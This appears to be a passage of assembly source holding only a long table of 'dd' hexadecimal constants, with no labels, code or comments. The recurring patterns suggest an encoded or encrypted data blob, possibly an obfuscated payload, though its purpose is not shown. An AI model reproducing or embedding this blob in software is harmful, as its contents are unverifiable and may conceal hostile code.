		dd 37CFB7A8h, 56AEB132h, 56AB4432h, 56DA5852h, 0E339B132h
		dd 0B420F87Bh, 86C1ACBCh, 660CE875h, 0D6A1D06Dh, 5657B13Eh
		dd 2312D752h, 5657BEB4h, 37EAB132h, 0BE15B132h,	56BAB122h
		dd 0C581CB69h, 3207322Dh, 2B8E8849h, 8FD29143h,	0BF8CE965h
		dd 56EAB134h, 34436E28h, 56DB14D0h, 4FD7BE32h, 59AEB132h
		dd 5657A2B7h, 56A55832h, 0BE6CB132h, 7EC992FEh,	0E26B7E6Eh
		dd 3AC1F8C5h, 565C3E3Dh, 5652B132h, 5FDBBE32h, 36ABB132h
		dd 306D7FB2h, 3735138Bh, 5675A5DBh, 5124F332h, 6FA21E0Ch
		dd 145A6367h, 90DC107h,	6451618Ah, 59D5B163h, 56EAB9BBh
		dd 54F7BE32h, 36BAB132h, 365DB153h, 0C8130F54h,	90D0C98Ch
		dd 56ABD05Bh, 5351BE52h, 0EEEAB132h, 50694280h,	377B0E3Dh
		dd 565DA2DBh, 0FF264832h, 142B99F1h, 0E14426DFh, 0DFCE207h
		dd 483583C2h, 5A9CB132h, 0FABAB132h, 0DAC9CFh, 3802664h
		dd 0AA85A353h, 0E2CBB132h, 3029D145h, 3739A488h, 0BF75B153h
		dd 56BAB123h, 3C72EB12h, 0C10ABD4Ch, 32B71D6Eh,	0FBB53732h
		dd 59D5B1F1h, 56EAA5BFh, 567A5832h, 0C06FB132h,	8E265481h
		dd 0B64A6FBAh, 0DC5E3EDEh, 36ABB1CEh, 0BD540A54h, 56EF373Dh
		dd 0D713B132h, 37F93EF2h, 0D452B132h, 56AEB133h, 0BF57B1CBh
		dd 56ABB123h, 854ABD35h, 8692113Ah, 404ADD08h, 780326E5h
		dd 0BF5DB1F5h, 56AEB139h, 0A809114Ch, 0F085675Ch, 56FEF08Ah
		dd 56FB5832h, 5F03B132h, 132AEBA1h, 7328570Eh, 454BAAC1h
		dd 5630FA12h, 932BD132h, 56D5D01Bh, 56EABADBh, 0D4547D32h
		dd 4FA5D8F5h, 0E8D23AD2h, 5656B132h, 5ADCBE32h,	59ABB132h
		dd 56D5B7B8h, 566ABE32h, 5675B132h, 56B65832h, 1BDFB132h
		dd 0B79EC228h, 19D4F483h, 56AB88B3h, 9854D752h,	0D8E55166h
		dd 5675B134h, 56BA353Dh, 563CB132h, 0E9C8D132h,	0D358BCB3h
		dd 56ABB126h, 56D5BEDBh, 21F3AD32h, 31DAA775h, 860549A1h
		dd 0F1370FE9h, 0A3AEB153h, 53BEB132h, 0FBABB132h, 4096DF67h
		dd 56EAA0DBh, 83856532h, 160420D6h, 0D606A80Ah,	98DFB254h
		dd 56572AB8h, 56A8333Dh, 0A3B5B132h, 0A3EAB153h, 3689B132h
		dd 56BD5852h, 9538B132h, 97D4EF36h, 46BED194h, 39ABB132h
		dd 0BC61E238h, 22C6A0B6h, 70DE67D7h, 0DD17981Fh, 0AA3CD0E2h
		dd 56AEB1DAh, 0BCD6EB32h, 50B02310h, 5750BE52h,	0AEEAB132h
		dd 37BD3A54h, 599C0352h, 0DB3C6E8Dh, 4C34CDB7h,	0D4DE4834h
		dd 50B0CBB1h, 8F5ED752h, 56E83A3Dh, 91FEB132h, 2B383C53h
		dd 595BAD79h, 56AEB0B0h, 0DFAF4932h, 4DD125B0h,	5754BE34h
		dd 0AFEAB132h, 5641C9DAh, 5A32BE32h, 0BF5DB132h, 56AEB135h
		dd 0A8D3A879h, 0BEE97506h, 56D5B0CDh, 0A86876CBh, 5673AA4Bh
		dd 59BAB132h, 565DB0B4h, 0AEFC4832h, 5F9234F4h,	0BFFDB727h
		dd 56D5B120h, 5D3EA4A0h, 923F9FC0h, 0FE8F3BBAh,	7857F1D2h
		dd 0D2A1C060h, 5657B133h, 0EEF9D9CEh, 59B52D9Ah, 0A98B7F8Dh
		dd 435DA087h, 0D3374934h, 5045C38Eh, 56AEB4DBh,	734A5932h
		dd 8654C5D9h, 56D5BCDBh, 1FBAB732h, 0EEFC4AECh,	885ECDF8h
		dd 0D3D4595Ah, 50BBA42Bh, 5657B6DBh, 0DC54C32h,	46F7AC8Dh
		dd 56F3303Dh, 429CB132h, 28BAB132h, 398A8FCDh, 7D5C34h
		dd 55D7EFD8h, 4E4559h, 3CB4A9D6h, 56824436h, 3675B122h
		dd 0DC9458B2h, 1635D0D8h
		dd 0AEAEB23Fh, 0D058B158h, 56ABB133h, 59054ECAh, 56EAB7B7h
		dd 0EC13D132h, 0CDB8310h, 565C343Dh, 5D52B132h,	0BFD3BEF2h
		dd 0AEABB132h, 0A85738CAh, 0BFECAA4Bh, 5675B13Ch, 29E0A1E0h
		dd 52EB991Fh, 5F5BAA11h, 0D4DE6BA2h, 50B0CB1Dh,	5B9508CAh
		dd 0DD16B131h, 964648CAh, 361042C7h, 6C750A54h,	56AEA1DBh
		dd 0A276B732h, 8ACA0659h, 155CC5D2h, 1C27AAA9h,	0D47AD013h
		dd 56BAB13Eh, 98E3D752h, 5625BEF9h, 3757B132h, 52C14960h
		dd 56D5A3DBh, 74756432h, 0EB86F6B8h, 0C9E31C3Eh, 0EB692C34h
		dd 3EBF4EA5h, 5657A132h, 52ABD9CBh, 5E3CB132h, 84EAB132h
		dd 854D6BB0h, 3CE9D8C1h, 40DFBE32h, 0BFAEB132h,	5657B123h
		dd 0D90A1049h, 91BFEF46h, 0C56BD8F3h, 0CCB7AA0h, 4F284EEFh
		dd 0BF5BA427h, 56AEB13Eh, 0E24A407Ch, 9D7BFEFEh, 7E0361B6h
		dd 56FB5868h, 0F6ABB132h, 835DDB4Ch, 63208433h,	0AFC316B3h
		dd 0DF63FD2Fh, 4DD705B0h, 575FBE34h, 0AAEAB132h, 0D25D153h
		dd 0EFBE7EB3h, 0DD3CC009h, 4DD74FB7h, 59AFD134h, 95CA7185h
		dd 56DB5852h, 23B132h, 675CC862h, 0BA8D569Eh, 6FD558A6h
		dd 56AEB8DBh, 0FAB9A732h, 1FF967C8h, 36B401FAh,	9F6876C7h
		dd 5673A431h, 0BFBAF132h, 565DB13Eh, 47EFEFFFh,	0C858B3D5h
		dd 54A70D38h, 0DE163052h, 36867E69h, 7A00B54h, 37DB66B9h
		dd 54D033F5h, 46AEB727h, 3637B132h, 7D236FB3h, 0BE54ACA1h
		dd 4FC74F59h, 54F2BE53h, 0DDBAB132h, 363CD0C0h,	0C3B60954h
		dd 5657A1DAh, 18DC6B32h, 13384933h, 0C246C1C5h,	0BB6BF71Bh
		dd 10753069h, 95A6B90h,	0BF527253h, 5657B138h, 11271430h
		dd 797BE167h, 598A4E4Ch, 5675B9B5h, 543CBE32h, 365DB132h
		dd 56BD5853h, 0B132B132h, 97C9BE24h, 9CF2DECCh,	572F7473h
		dd 0B8D38DB7h, 0A8003A0Eh, 365BAA4Bh, 56AEBEDBh, 4CB17A32h
		dd 7389816Ch, 9C76DE08h, 0EB5293C7h, 2195F68Bh,	6939D07Fh
		dd 80D9BE32h, 59AEB132h, 5657ACB5h, 0D8A4D132h,	56D5B132h
		dd 56EAA1DBh, 0FA49DA32h, 88C999F2h, 0F32213CFh, 0C44C8095h
		dd 29D4D076h, 0D2A4B322h, 56D5B163h, 469532CEh,	37F1BE36h
		dd 59BAB132h, 565DAFBEh, 4E25BE32h, 0BF57B132h,	56ABB121h
		dd 0DC0814EFh, 0EA48D97Ah, 2356AFD6h, 0FD7A9482h, 0D5B971AAh
		dd 4247A5F5h, 0A057B132h, 85FDBB6Ah, 6D8CB023h,	466DA386h
		dd 536308Bh, 0BF6BF22Dh, 0A9A24E48h, 46E976C7h,	5657B133h
		dd 56ABB8DBh, 0BEBD6F32h, 500212A7h, 929C7932h,	0AA454ECDh
		dd 554DF6F5h, 36AEB132h, 9A2852B3h, 0D0A4F26Bh,	56D5B134h
		dd 0B23163B3h, 0BF14B857h, 0A9454E91h, 44B54952h, 3DAEB132h
		dd 46A0D4ECh, 58EA143Bh, 6842D7BEh, 7655390Dh, 0E943B75h
		dd 0E0DAD053h, 51B5E60Eh, 15AEB132h, 195C1E38h,	0CF5412Bh
		dd 0DCB57253h, 36BFD0DDh, 0D57A4AB9h, 56BAB137h, 83933054h
		dd 0BA25D0E4h, 0AE374DC7h, 0F312D752h, 0AD6ABE62h, 56EA5953h
		dd 0D72FB132h, 4D2CC2D8h, 0EE3BD134h, 0EEC89062h, 593682CEh
		dd 56ABB0B7h, 5B3C4432h, 0C9EAB132h, 1162BDADh,	0E1B261C4h
		dd 9FA5DCE6h, 2A1403B9h, 0DDABB729h, 36CBB977h,	2EC40954h
		dd 0E68BD052h, 50FCD0D7h, 56B23D3Dh, 0D952B132h, 56AEB130h
		dd 0D4D4D052h, 50B0CD88h, 56D35836h, 16D2B132h,	0F433F4C0h
		dd 0BF734453h, 565DB122h, 0B82A387Dh, 2491F540h, 3345B0DEh
		dd 63444CB5h, 56EE73CBh, 0BE15D1C7h, 56BAB13Fh,	0DBC3F992h
		dd 73A68FC4h, 76A19DAh,	8C2AEA5Eh, 45BB8518h, 56EA5953h
		dd 0D72FB132h, 4D2DA2D8h, 0D852D134h, 56AEB131h, 30810E3Dh
		dd 59CA67B9h, 56D5B0B1h, 0E4614D32h, 506ECD86h,	0EC088AC7h
		dd 595BAA4Eh, 56AFD4B6h, 56455832h, 0B2CEB132h,	9071ACD3h
		dd 8B21F6E0h, 978CC832h, 7C67B419h, 46B48FB9h, 8DAEB132h
		dd 0E33B09B9h, 414C7D7Eh, 661704Ah, 0DD276E05h,	57F7BEEDh
		dd 0AFBAB132h, 5712073Dh, 57E947CAh, 7FD2BEB2h,	0BFABB132h
		dd 56D5B139h, 6BEE8997h, 70BB2427h, 552F3FD8h, 57D9BEEBh
		dd 0A3AEB132h, 5653393Dh, 0DDCBB132h, 5F3CD0EBh, 0AEEAB132h
		dd 0DC156819h, 37653ADCh, 361E4871h, 56AEA0DBh,	186EC732h
		dd 94EAA0A1h, 0CF728CBCh, 371FB2F8h, 5C9CA580h,	74BAB132h
		dd 0BC59BEDAh, 6D571286h, 0D3DCD026h, 50BEB673h, 56D2333Dh
		dd 68AB132h, 0A5FED76Ah, 67373A53h, 365BA414h, 7613A54h
		dd 295C7EB3h, 37F0C88Dh, 0D4DA6909h, 56EAB101h,	59AC8ACEh
		dd 56BA9BB5h, 5DB4D132h, 0DCAEB132h, 998E7A01h,	3917EA07h
		dd 0D5B41967h, 0AE16B5F4h, 0A98AB1DBh, 5E33BECDh, 595DB132h
		dd 56AEB3B8h, 6D36D132h, 0D2FBEFDh, 0BFD5B132h,	56EAB13Eh
		dd 0B934A59Ch, 0FABB0B03h, 1FBEECE5h, 709F0CBBh, 3037B727h
		dd 0E731418Dh, 5A3CD0CDh, 0FAEAB132h, 43BD257Fh, 10979C0h
		dd 0BFA863CEh, 0A9514F9Ch, 565D383Dh, 7CBB132h,	5653BE68h
		dd 37EAB132h, 5675A0DBh, 4BF1F732h, 177AFD64h, 7677638Ah
		dd 0C1C88123h, 59CA9283h, 56D5AEB5h, 4F69BE32h,	0BF75B132h
		dd 56BAB126h, 0E95D428Eh, 0E7D9025Ah, 98351B31h, 5FBCFFC7h
		dd 0F54E5A50h, 0F958D1F1h, 5915D0CEh, 56BABDBAh, 50D1BE32h
		dd 59AEB132h, 5657B1B5h, 56AB5932h, 0D78FB132h,	4D725AD8h
		dd 56655834h, 6C77B132h, 8FF19275h, 0C8A24958h,	4212491Bh
		dd 5D428804h, 97D5B132h, 0B3F79998h, 798D1217h,	0D3B545AAh
		dd 565DB13Ah, 56AC393Dh, 3737B132h, 2A1F0BB9h, 5D3CB729h
		dd 30EAB132h, 0B9C0909Bh, 0DBAF1417h, 5CB45149h, 7EAEB132h
		dd 45DCB5ECh, 6A1EEDBCh, 57D50844h, 68AB132h, 372EEB63h
		dd 0D6B57101h, 565DB133h, 56A258C7h, 5BD5B132h,	525B8C33h
		dd 81BE6587h, 0FD19D6A0h, 56725852h, 4DC3B132h,	0D650AAE9h
		dd 0C5BE32Ah, 0E2D53A53h, 59ADAA4Eh, 56D5B0BAh,	0D4634832h
		dd 506ECD88h, 56B65952h, 850EB132h, 7004EE4Eh, 8229337Ch
		dd 8FAA528h, 56DB586Dh,	67E8B132h, 0D1CD8DC5h, 0DC65E24h
		dd 0D8E9F6F7h, 0DEA1D053h, 5657B125h, 56ABA3DBh, 0E69E732h
		dd 0E9F0B052h, 0D223F4B0h, 0E7DC3F4Fh, 0AE0A21EEh, 36CE44F1h
		dd 5657BADBh, 5E12A832h, 134BA1E4h, 6C1D3E08h, 0BE8CD0CAh
		dd 56BAB132h, 0AFB73068h, 0A3A8AAABh, 5657B9DBh, 7F3EFF32h
		dd 4CCCF8D7h, 5E6CBE15h, 5975B132h, 56BAB3BBh, 903CD132h
		dd 43A774B7h, 3037E734h, 371B1D88h, 49B8885Ah, 0DD8CD1E6h
		dd 0A8FED7CBh, 5A39BE53h, 595DB132h, 56AEB7B7h,	56D2BE32h
		dd 0A9ABB132h, 43FDA087h, 56E05834h, 0E79BB132h, 377FD466h
		dd 9EB293D0h, 241234BFh, 3037B72Ah, 596DCF8Dh, 56D5B4BBh
		dd 0A2070832h, 5914819Bh, 56BAB0BAh, 86A24932h,	56A43B3Dh
		dd 0E037B132h, 562FBE29h, 37D5B132h, 0E88CD160h, 0ED1370DAh
		dd 0BFDBAFD2h, 565DB13Ch, 9EE80A56h, 0FF7FD7B5h, 72BBAD91h
		dd 0BF855AEAh, 56EAB138h, 0F1E5FD8Bh, 0B3411B80h, 56359D01h
		dd 36AEB1B2h, 5957DB53h, 56ABA3B3h, 56D85832h, 4B9B132h
		dd 0E6D87C96h, 94FA59BFh, 0A96C6465h, 4DD74F80h, 5EDFBE34h
		dd 59ABB132h, 56D5B3B4h, 0A98BD132h, 0E894DE2h,	56BAB6DBh
		dd 816B8B32h, 0F1CC1C85h, 45BEE052h, 0AFABB132h, 7E1618BAh
		dd 0C107F34Eh, 54006DDh, 644AEA1Bh, 0BF05AFEDh,	56AEB122h
		dd 0BB125E1h, 7677104Eh, 8A1A3B88h, 0F2543C64h,	0D77AEB53h
		dd 56BAB133h, 0D65DD9CEh
		dd 59CEB132h, 42BE4885h, 0E3ABB132h, 0A7B5599Fh, 764FDFADh
		dd 70C8CCDFh, 0B886BCADh, 37E711C8h, 5629BE52h,	0AA57B132h
		dd 59ABDB53h, 56D5B0B8h, 0E4154432h, 506ECD86h,	56B23D3Dh
		dd 0D452B132h, 56AEB130h, 86A8D052h, 56B73D3Dh,	0D6B5B132h
		dd 440362F0h, 0B675B132h, 0B212185Dh, 0A45CB908h, 2B3E02Eh
		dd 5168D253h, 0BFCAD0BBh, 56D5B137h, 61EFB491h,	5E9C7248h
		dd 6FBAB132h, 422373E3h, 38F5463h, 0A6DCD152h, 56ABA2DBh
		dd 6E920832h, 2883A584h, 55085243h, 34A3F0A4h, 0A0971B29h
		dd 562CBE53h, 3757B132h, 58425DB9h, 8CD5B132h, 0A5B5AA0Fh
		dd 0A97A5887h, 0BB0A86Bh, 5BB4D14Ah, 0E9AEB132h, 0FD7A5962h
		dd 683B9CA5h, 0DAD42B50h, 56EAB1DAh, 0BCF4EB32h, 50A12D20h
		dd 57D8BEC7h, 0AEAEB132h, 595FC4B9h, 56ABB6B4h,	575BBE32h
		dd 0AEEAB132h, 567BEEDAh, 56AA5832h, 4114B132h,	0A0BB15A8h
		dd 15C3EFA4h, 87882B86h, 583CC7B6h, 8FEAB132h, 2F55C04Fh
		dd 0ADE28CEBh, 0D54F8981h, 0A952E400h, 4D2D32A0h, 56BA5834h
		dd 0CE15B132h, 80B7818Dh, 0A37C7161h, 7BEB3D9Dh, 0B59B3A8h
		dd 56BF393Dh, 0D658B132h, 56ABB139h, 56D5B7DBh,	975D7A32h
		dd 6D63B94Bh, 0D3B5BD47h, 0A9A24EA6h, 5B5C59CEh, 5DBEB132h
		dd 1DABB132h, 0BB3150BFh, 15F4358Bh, 3789B174h,	266A3052h
		dd 0BE1B89CEh, 56AEB13Bh, 3976122Eh, 4CDA6612h,	56C4583Dh
		dd 0EC5BB132h, 185A4FB3h, 81603DBh, 4449B060h, 0E3BC615h
		dd 0BF377853h, 56ABB13Ch, 9DACF362h, 70B640EDh,	8465AB6Ah
		dd 0D7DAEB93h, 59469E5h, 37CF443Bh, 5957B9F0h, 56ABA4BBh
		dd 56C55832h, 0FC0CB132h, 0FE2F8AE5h, 4BAADA4Dh, 6F4BA8AFh
		dd 0AAFBC79Ch, 0D5A25DB9h, 534DF6h, 56D5BBDBh, 70D9C632h
		dd 3ED01717h, 590AFD6Bh, 565DB0B4h, 0BFF94432h,	5657B120h
		dd 58BDA557h, 76EFFDE9h, 0E310149Ah, 0DFFADD58h, 59E9B0F6h
		dd 565DA5B9h, 56A15832h, 7052B132h, 6B60D6E5h, 87E203F0h
		dd 46DCECE2h, 5675590Ch, 0D7E0B132h, 4DC0C6D8h,	0D6CE4434h
		dd 0DD311ADCh, 2320D0CAh, 513CD13Ah, 97EAB132h,	0E116284Ch
		dd 530D8A7Bh, 40D7BE53h, 0BFAEB132h, 5657B123h,	1C18FC57h
		dd 0B5603C65h, 42482153h, 39DCCD17h, 46C73A2Ah,	5653383Dh
		dd 0D7CEB132h, 0AFD717D3h, 5629BE0Bh, 37D5B132h, 56E25865h
		dd 8107B132h, 37FDD9A1h, 360B697Eh, 56AEA5DBh, 3913D032h
		dd 669D0CBFh, 0FDC6E778h, 0CD36BFFh, 0E68A416Ch, 0BE3BD7FDh
		dd 0BE3C3410h, 56AEB001h, 5657B8DBh, 0E0ECE632h, 6E07609Bh
		dd 96E13929h, 56C5353Dh, 5E53B132h, 0AD5DB132h,	9228A7CEh
		dd 0DD331176h, 892BD1CAh, 56C65854h, 6815B132h,	0BB73DEE5h
		dd 850E7E1h, 0A236B2B2h, 4E4AE7D7h, 3602D053h, 0D5394E53h
		dd 59D3AA48h, 56EAB0BCh, 36284832h, 847C3054h, 373DE65Bh
		dd 2395D06Ch, 9D3BE3Eh,	36ABB132h, 2156989h, 0C528303Bh
		dd 37235761h, 0DDDCD052h, 564F582Ch, 8A63B132h,	0D729485Eh
		dd 5D7DB4E8h, 5AA10416h, 0B12C4268h, 0A38556B2h, 3642AFB8h
		dd 7412958Ch, 3A6C0A77h, 0D636A99Ah, 0ECCB41D1h, 0A9E0A09h
		dd 0BDBD6BB3h, 0BE14DE40h, 56BA95D2h, 5BB449CAh, 59514ECDh
		dd 5657B0B5h, 2B224432h, 693D49CEh, 0BF154EC4h,	5675B122h
		dd 1FE74435h, 9B866413h, 408F69B8h, 611A90E3h, 0DDA4EACEh
		dd 56D5B13Ch, 56EAB8DBh, 0FB20F332h, 0C924FB3Ah, 0BF02A547h
		dd 56AEB139h, 0F74A3DA9h, 20F51901h, 8E75A09h, 0AAAF3ACEh
		dd 539C78CAh, 0CBAB132h, 5D7C7EDh, 0BFAEBDF0h, 5657B13Ch
		dd 9A7AAA8Dh, 109847C8h, 30E179C8h, 3801AA6h, 0AD683152h
		dd 0A973054h, 0BA25D034h, 5657A2DBh, 6DCA8D32h,	3952564Eh
		dd 547AB084h, 0E9F46C60h, 8ABAEB91h, 0BFA575B1h, 56AEB13Dh
		dd 0C6C8E2F1h, 3ADCB922h, 9D166338h, 0BF2E467Bh, 5675B121h
		dd 0D917E9Dh, 0D45F51A8h, 96F62D18h, 242ECA96h,	13A6BC7h
		dd 56C73E3Dh, 5B03B132h, 1E75B132h, 695D134h, 728E4A8Ah
		dd 23275F4Fh, 59BED164h, 93ABB132h, 1515FC12h, 55A3DE32h
		dd 2FA8CB70h, 0EFDC5DCEh, 73C6BC3h, 56AEB6DBh, 3F3AA632h
		dd 5E331237h, 56D43D3Dh, 51FB132h, 5674323Dh, 0AA43B132h
		dd 56A5F4F5h, 0BFAEB132h, 5657B13Ah, 4D09B06Ah,	676590D8h
		dd 2AC433F5h, 5674B729h, 0DCB5B132h, 565DB133h,	5EDB3ACAh
		dd 0D558D152h, 56ABB132h, 506BD0C7h, 37A36059h,	596B3A54h
		dd 56BAB9B8h, 54D7BE32h, 36AEB132h, 0A8ED3A53h,	36ADAA4Bh
		dd 593C6681h, 90EAB132h, 8A95457Ah, 654EB803h, 0EAA0393Fh
		dd 0DDCF1E9Bh, 0DE58B96Dh, 56ABB133h, 590EBAC7h, 56EACBB6h
		dd 0D7154432h, 0AB5C2BF0h, 50D2BE72h, 0D7AEB132h, 7938E1FCh
		dd 8890D000h, 56FA343Dh, 0AF13B132h, 3679ECB9h,	0EDDC48B9h
		dd 0BF3CA887h, 56AEB13Fh, 7D4CD8D9h, 0EA54BDD5h, 78C5F761h
		dd 5AB5388Ah, 5675B9DBh, 0CC8BFE32h, 0BAFD0D4Ch, 4269327Dh
		dd 3737E252h, 56A35869h, 7BFAB132h, 0A9D5FA6Ah,	0BF142B3Bh
		dd 0A9454EB5h, 565DBFDBh, 0ED3A8732h, 57F278A4h, 33069157h
		dd 307D8BB6h, 0D3E5AFB9h, 5675B13Ah, 56B8363Dh,	373DB132h
		dd 56AEBADBh, 0CFBEE632h, 0CF1BE806h, 0A0861D2Fh, 59024AB2h
		dd 5676FBB6h, 0AD3A4D32h, 16D9BEDBh, 36AEB131h,	5657323Dh
		dd 0D7FBB132h, 47820DEAh, 0D68BE91Dh, 0D27A5AC9h, 56BAB215h
		dd 565C373Dh, 0D656B132h, 0D25853C9h, 56ABB3EAh, 0AD55D052h
		dd 0E96EBED1h, 0BF75B130h, 56BAB123h, 1DA10F27h, 0A0A2E111h
		dd 7A4F184Dh, 0A076489Fh, 0AD54D7FCh, 0D2E55255h, 5675B39Eh
		dd 56AC383Dh, 0DC52B132h, 56AEB122h, 5657BADBh,	10ED1032h
		dd 91BDA2DFh, 0B683FF9Dh, 0BF8556B2h, 56BAB13Ah, 22779BFAh
		dd 555539F9h, 59AC3054h, 0E22FBEB2h, 36D5B130h,	0A6093153h
		dd 5675BADBh, 0FD350F32h, 4390CD9Bh, 0F6F64D57h, 59274AB2h
		dd 56A927B6h, 0D6B54432h, 371328FDh, 366B3A54h,	10CED08Ch
		dd 0B5DDD008h, 15BD1CAh, 5657BDDBh, 282DD132h, 28996EC2h
		dd 2203094Ch, 0D614EE32h, 0D2B509C9h, 565DB066h, 539031CEh
		dd 571D353Dh, 0D652B132h, 0D2DA9C0Ch, 56EAB072h, 3E4B31CBh
		dd 578C353Dh, 44B4B132h, 0EBAEB132h, 8DBEA8F4h,	37DFA953h
		dd 0A2D2B31h, 7E3B0E4Dh, 78F74ED8h, 0BFBCAA4Eh,	565DB120h
		dd 358138CAh, 0CE68FFDFh, 412F1116h, 6FB186DDh,	0DD8C9DCEh
		dd 0B1F5442Ch, 0D7DC4DCAh, 59B530C9h, 56AE5EB6h, 30AB4D32h
		dd 0D65EAFB9h, 0D5DA41D5h, 56EAB133h, 0ADF4D7CEh, 0D2B571B3h
		dd 565DB1E6h, 56B63C3Dh, 45BEB132h, 0C5ABB132h,	17F9DD73h
		dd 327B7B65h, 0F856D891h, 1A52888Ah, 5AB4F523h,	8BAEB132h
		dd 389643B6h, 0C454B345h, 367E68ADh, 56EB323Dh,	368DB132h
		dd 56B8373Dh, 0F8E9B132h, 37205EB2h, 565A5867h,	7B8CB132h
		dd 4D3BEED2h, 70DDE0E4h, 0AA90E203h, 2C3923CDh,	0D152B729h
		dd 56AEB138h, 59A63A52h, 56ABB1B5h, 0A388D032h,	56E1393Dh
		dd 509CB132h, 6EBAB132h, 0DD139052h, 0AAEB38BFh, 5642323Dh
		dd 0D1A4B132h, 56D5B13Dh, 56EABBDBh, 6DE39C32h,	4D2AC179h
		dd 3747A492h, 0AAD332CEh, 5BD2BE33h, 36ABB130h,	56D5BDDAh
		dd 78F99A32h, 8DFB29CBh, 0C752F5FEh, 565158C8h,	9AE8B132h
		dd 0FF1B31F3h, 0B4EE27ADh, 308EEFECh, 375F198Ch, 55BC0BB9h
		dd 0D9B5B727h, 565DB139h
		dd 56AEB7DBh, 8892F132h, 65604ADh, 56D95852h, 5C58B132h
		dd 4731D20Ah, 27A76D5Eh, 0E95236F2h, 30CED0F0h,	0AEAAE888h
		dd 78293A53h, 36D3AA4Eh, 0D5DF0B54h, 66498853h,	7105D752h
		dd 0BB9F30A1h, 37EF2C08h, 0DBD5BE6Ah, 0AAABB133h, 54580BB9h
		dd 61FB727h, 0DDAA0152h, 0D431D0E4h, 5046CD1Ch,	56BE5852h
		dd 0B18DB132h, 9CE833B7h, 691FBCA7h, 0BA9C9816h, 0A7FE73F7h
		dd 6A834D53h, 50B5D102h, 91AEB132h, 840419BCh, 8620D7A0h
		dd 3712026Ah, 1765BE6Ah, 0BF75B133h, 56BAB126h,	386E8EDDh
		dd 0D94E8CC3h, 2AA018Fh, 6AC661B3h, 0EAE5497Ch,	56EAFFDBh
		dd 13B24D32h, 56BAB3CAh, 16B44432h, 0A3AEB132h,	57AFF4F5h
		dd 36ABB132h, 56D5BFDAh, 7EB17032h, 455F576h, 7B7CB811h
		dd 0EEAF607Bh, 1FBE022h, 62E9D769h, 4242D09Bh, 0AD5B132h
		dd 7F570FD6h, 8B797CAFh, 58118F59h, 3E0D8E64h, 0DD7AD668h
		dd 4D2E4F88h, 5728BE34h, 0AAD5B132h, 0DD8AAEB9h, 0A1FED7EAh
		dd 5961BA53h, 565D06B6h, 88954832h, 563B343Dh, 0DAA4B132h
		dd 56D5B133h, 526BBECBh, 3675B132h, 0DDDB0C85h,	50B4BD6Fh
		dd 21AEB132h, 1865288Dh, 2B2844E4h, 0D2DAB1CAh,	56EAB106h
		dd 567D3C3Dh, 0DEB5B132h, 565DB130h, 4647D052h,	2857B132h
		dd 5D072411h, 8DF767B8h, 1D3E6492h, 55801AE9h, 0D9B5496Fh
		dd 565DB13Ah, 56AC363Dh, 3737B132h, 0BFAFEEBBh,	56D5B137h
		dd 0BDD41AFCh, 91F64885h, 56BF5826h, 6814B132h,	5938B9CBh
		dd 5657BDB5h, 5022BE32h, 59D5B132h, 56EAB1B6h, 0A9235832h
		dd 0D9B54ECDh, 565DB133h, 366E82CAh, 60BED0CBh,	59ABB136h
		dd 56D5B6B4h, 378AD132h, 37AE0E3Dh, 0BFA43A54h,	565DB13Fh
		dd 0B694BDE6h, 0D8A51AD0h, 81713ADFh, 5AA83A99h, 0AD6A48CEh
		dd 68F1BED9h, 0BFBAB132h, 565DB121h, 711BD88Fh,	0F1DED162h
		dd 0CB6B96D7h, 1C69F9ACh, 0D655DD88h, 0D71541D1h, 2C5D66D5h
		dd 565B587Bh, 454EB132h, 0CD4728BFh, 26503153h,	56A1353Dh
		dd 0BF16B132h, 5675B1DFh, 0BFBD77CAh, 565C3F3Dh, 9157B132h
		dd 5657B075h, 5B42B132h, 0A5D5B132h, 0FF8A81DEh, 92935C19h
		dd 0DC3ABE96h, 5CB476B9h, 0EFAEB132h, 829327DEh, 254E8AEAh
		dd 53153237h, 56FD323Dh, 3015B132h, 5B536FB9h, 4D5DB132h
		dd 0AC7C9ABAh, 31ACAD8Eh, 0CF51801Dh, 55BA5853h, 0BF8AB132h
		dd 5675B137h, 74DE3B33h, 80DCE6E3h, 35D09200h, 9131D068h
		dd 36A3BE35h, 60023054h, 4860D04Fh, 98843052h, 0AE81F9A8h
		dd 59BE3153h, 56BB383Dh, 46BEB132h, 31ABB132h, 0FFC8F5ADh
		dd 0B3B3B27Ch, 0F1E5FD8Bh, 0D6411B80h, 0DC5231F9h, 56AEB13Eh
		dd 56513A3Dh, 0DFA4B132h, 56D5B132h, 56EAB7DBh,	31A63D32h
		dd 0DE2C8C85h, 36A4B06Dh, 0DD5E3A54h, 1190D0E3h, 56ABB130h
		dd 915E4832h, 502A32CBh, 0DF7A4852h, 56BAB130h,	0BF3C56B8h
		dd 56AEB3EFh, 68D6D7CBh, 0D2A421A2h, 56D5B10Ch,	56ED3A3Dh
		dd 3015B132h, 0CB4D5EB3h, 0C6633153h, 5694343Dh, 5937B132h
		dd 30CA7A8Dh, 0C62ACFB3h, 416EBEA2h, 0A375B132h, 0DDB5E052h
		dd 565DB132h, 197F3069h, 370FD5ADh, 56ABA2DBh, 915E4432h
		dd 546158CBh, 539CB132h, 74BAB132h, 9F57BC67h, 2A4D33BFh
		dd 0DD58B729h, 56ABB13Ah, 56D7373Dh, 378AB132h,	50F0BE62h
		dd 36BAB132h, 0B2E20854h, 4447E753h, 0C357B132h, 4D62A564h
		dd 0DFE8A179h, 3CD69888h, 0C08F5Fh, 0C2284E46h,	365BAA48h
		dd 324C3054h, 0CEA73033h, 37C50768h, 0F83D3052h, 59F8EF23h
		dd 5675B2BFh, 9C31D732h, 599DBA53h, 56AEEAB6h, 56465832h
		dd 0CB68B132h, 60443D5Dh, 0DBEDB2CEh, 6F7B1557h, 0DD2ACD44h
		dd 4FD3BEFAh, 59AEB132h, 5657A2B1h, 56A55832h, 3103B132h
		dd 7D0F1232h, 0A32CC2CBh, 765EAF4Dh, 2ABE03BFh,	4CEB729h
		dd 0F1C5CB2h, 72483054h, 0C33CD0DFh, 0BFEAB132h, 5675B13Ah
		dd 375F207Fh, 0D55D36B0h, 98254464h, 0B5D6D752h, 0D7CD9D7Bh
		dd 371D96FAh, 0BF8AE4C7h, 5675B138h, 1BB5614h, 0C308CBB8h
		dd 0DCA17FBCh, 5657B130h, 0A9CAD052h, 4DAF32A0h, 4F6BBE34h
		dd 3675B132h, 46534BB8h, 415DB132h, 1C11A3CEh, 96180D89h
		dd 0C28BC707h, 3793E1CFh, 0DD8CD16Fh, 1ECAD7ECh, 9891D0C2h
		dd 565DBEDBh, 986AF132h, 17D51215h, 510DE67Fh, 8F421C4h
		dd 81F68C5h, 5675BEDBh,	0F5708832h, 50DB8905h, 1F8285B4h
